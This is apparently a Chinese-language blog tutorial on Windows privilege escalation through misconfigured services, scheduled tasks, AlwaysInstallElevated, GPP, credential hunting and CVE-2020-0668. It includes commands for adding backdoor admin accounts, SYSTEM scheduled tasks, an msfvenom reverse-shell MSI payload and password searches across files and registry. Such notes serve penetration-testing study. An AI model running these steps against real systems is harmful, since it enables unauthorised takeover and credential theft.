>

  • 关于 Windows 提权


    大致分为内核提权(利用 windows 底层的漏洞)和服务提权(windows 服务和相关软件由于配置不当产生的漏洞),这篇文章大致梳理了一下服务提权的几种常见打法。
  • 简单的关于 Windows 的访问控制模型


    windows 用户都有特定的访问令牌(Access Token),被访问的对象都有特定的安全描述符(Security Descriptor),判断用户的访问令牌能否通过安全描述符的层层检查,确定是否有访问权限。
    访问令牌在用户登录的时候,由系统从内部数据库中读取该账户的信息,然后用这些信息生成。此后这个用户启动的每一个进程都会获得这个令牌的副本,当线程去访问某个对象或执行某些操作的时候,Windows 就会对这个线程持有的令牌进行访问检查。
    安全描述符重点关注访问控制列表 ACL(Access Control List),在其中起判断作用的重点关注 3 个(访问控制项) ACE(Access Control Entry)
    第一个ACE拒绝Andrew账户对Object进行读取,写入和执行操作;
    第二个ACE允许Group A账户组中的所有账户对Object进行写入操作;
    第三个ACE允许任何账户对Object进行读取和执行操作;
    

    经过检查之后的线程就有了对应的访问权限。
  • 基础命令


    query user //查看用户登陆情况
    whoami //当前用户权限
    systeminfo //查看当前系统版本与补丁信息(利用系统较老,没有打对应补丁来进行提权)
    ver //查看当前服务器操作系统版本
    Net start //查看当前计算机开启服务名称
    
    #添加管理员用户
    net user username(用户名) password(密码) /add
    (先添加一个普通用户)
    net localgroup adminstrators username /add
    (把这个普通用户添加到管理员用户的组中)
    如果远程桌面连接不上可以添加远程桌面组
    net localgroup "Remote Desktop Users" username /add
    netstat -ano //查看端口情况
    tasklist //查看所有进程占用的端口
    taskkil /im 映像名称.exe /f //强制结束指定进程
    taskkil -PID pid号 //结束某个pid号的进程
    
  • 基础提权信息收集


    查询系统信息
    systeminfo 
    如果要查看特定的信息,可以使用
    systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
    主机名
    Hostname
    环境变量
    Set
    查看用户信息
    Net user
    查看服务pid号
    Tasklist /svc|find "TermService"
    netstat -ano|find "3389"
    查看系统名
    wmic os get caption
    查看补丁信息
    wmic qfe get Description,HotFixID,InstalledOn
    如果要定位到特定的补丁可以使用如下命令
    wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
    查看当前安装程序
    wmic product get name,version
    
  • 不带引号的服务路径


    当 windows 服务运行时,会发生以下两种情况之一:如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行,但是如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
    就是说在没有引号的情况下,如果路径中带空格,就会错误执行:
    C:\>"C:\Example\Sub Directory\example.exe"
    [*] Executed C:\Example\Sub Directory\example.exe
    C:\>C:\Example\Sub Directory\example.exe
    'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.
    

    那么可以放置一个与第一个名称相同的恶意名称相同的 exe(例子中的 Sub),就可以越权执行了。
  • 不安全的服务权限


    现在的操作系统不会存在有漏洞的服务,所以,有漏洞的意思使我们可以再次配置某个服务的参数。
    可以用 sc 查询,配置,管理 windows 服务
    sc qc Spooler
    

    image-20220203222508677
    可以用 accesschk 检查每个用户拥有的权限和每个服务需要的权限。
    accesschk.exe -ucqv *        (列出所有服务)
    accesschk.exe -ucqv Spooler (查看指定服务)
    accesschk.exe -uwcqv "Authenticated Users" * (查看用户组对服务的权限)
    

    image-20220203223029613
    实操:手中只有 win7,暂时没有复现
    任何下图的访问权限都将给我们一个 SYSTEM 权限的 shell
    2
  • 服务路径权限可控


    注册表:由一系列配置单元配置集合组成,它们按以下方式分解:
    HKEY_CLASSES_ROOT - 文件类型的默认应用程序
    HKEY_CURRENT_USER - 当前用户的个人资料
    HKEY_LOCAL_MACHINE - 系统配置信息
    HKEY_USERS - 系统用户配置文件
    HKEY_CURRENT_CONFIG - 系统启动硬件配置文件
    

    在软件注册服务的时候,会在注册表中创建几个项,路径如下:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
    

    对注册表的查询可以用 SublnACL 完成,也可以使用AccessChk工具查询注册表。
    这时有两种提权思路;
    1. 直接修改注册表,也就是说注册表的修改权限当前用户可控,直接修改 ImagePath 的值,指向本地其他路径(传的?),但要是注册表都可控了此时的权限也大概够了。。。
    2. ImagePath 指向的目录权限可控,那么可以把软件原本的组件(.exe)换成我们恶意的程序,那么当软件启动的时候就能执行我们的?(这个方法的前提原理是:开机自启动服务的权限是 SYSTEM)。
  • 定时任务计划提权


    at 适用版本:Windows2000,2003,XP,win7,能把 Administrator 组下的权限提到 SYSTEM
    因为默认以 SYSTEM 权限定时任务计划(批处理/二进制文件)
    语法:at 时间 命令
    at 7:50 notepad.exe
    

    windows server 2012 中的 at:
    image-20220308163723576
    考虑用 schtasks 设置计划任务
    添加计划任务:
    schtasks /create /s 192.168.0.129 /tn test /sc onstart /tr c:\a.exe /ru system /f
    运行计划任务:
    schtasks /run /s 192.168.0.129 /i /tn "test"
    删除计划任务:
    schtasks /delete /s 192.168.0.129 /tn "test" /f
    删除 IPC$
    net use  \\192.168.0.129 /del /y
    

    image-20220308190248345
    注意:在使用schtasks命令的时候会在系统留下日志文件C:Windows\Tasks\SchedLgU.txt。
  • MSI安装策略提权(AlwaysInstallElevated)


    AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
    验证方式:
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    或:
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    

    如果找不到说明没漏洞,能用的话可以直接用 msf 生成对应木马:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.117.134 LPORT=443 -f msi-nouac -o lask.msi
    
  • 组策略首选项(GPP)漏洞


    客户端计算机定期使用当前登录用户凭据进行域控制,以身份验证,然后生成配置策略,可用于软件部署,配置启动脚本,映射网络共享,配置注册表配置单元,配置打印机,管理安全权限等。还可以为本地管理员帐户配置密码。这些策略文件存储在域控制器的SYSVOL共享中的一系列.xml文件中。
    详细部分见 GPP 漏洞及相关利用
  • 凭证窃取


    就是从主机上翻密码:
    unattend.xml
    GPP.xml
    SYSPREP.INF
    sysprep.xml
    其他各种配置文件
    日志文件
    注册表项
    文件如my_passwords.txt,my_passwords.xls等
    

    还有各种信息收集:
    dir C:\*vnc.ini /s /b /c
    dir C:\ /s /b /c | findstr /sr \*password\*
    findstr /si password \*.txt | \*.xml | \*.ini
    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s
    
  • CVE-2020-0668(利用符号提权)


    一个由符号连接导致的任意文件移动从而触发提权的漏洞。
    HKLM\SOFTWARE\Microsoft\Tracing 注册表项任意用户(Everyone)可写可读,Tracing注册表项主要用于Windows服务跟踪调试,调试过程中会以SYSTEM权限产生一个日志文件。
    将日志目录设置为 \RPC Control 对象目录的挂载点,然后创建两个符号链接:
    一个从 MODULE.LOG 链接到你控制的文件(大于 MaxFileSize,这样就会被移动并创建一个信的日志文件。)
    另一个从 MODULE.OLD 链接到文件系统中的任意文件(如C:\Windows\System32\WindowsCoreDeviceInfo.dll
    

    最后在 NT AUTHORITY\SYSTEM 权限下的一系列文件改动被触发,通过Update Session Orchestrator 服务来执行任意命令。
     \RPC Control\RASTAPI.LOG -> \??\C:\EXPLOIT\FakeDll.dll (owner = current user)
    \RPC Control\RASTAPI.OLD -> \??\C:\Windows\System32\WindowsCoreDeviceInfo.dll
    

    由此可将 DLL 文件写入 C:\Windows\system32\ 目录
  • 参考文献:


标签: none

添加新评论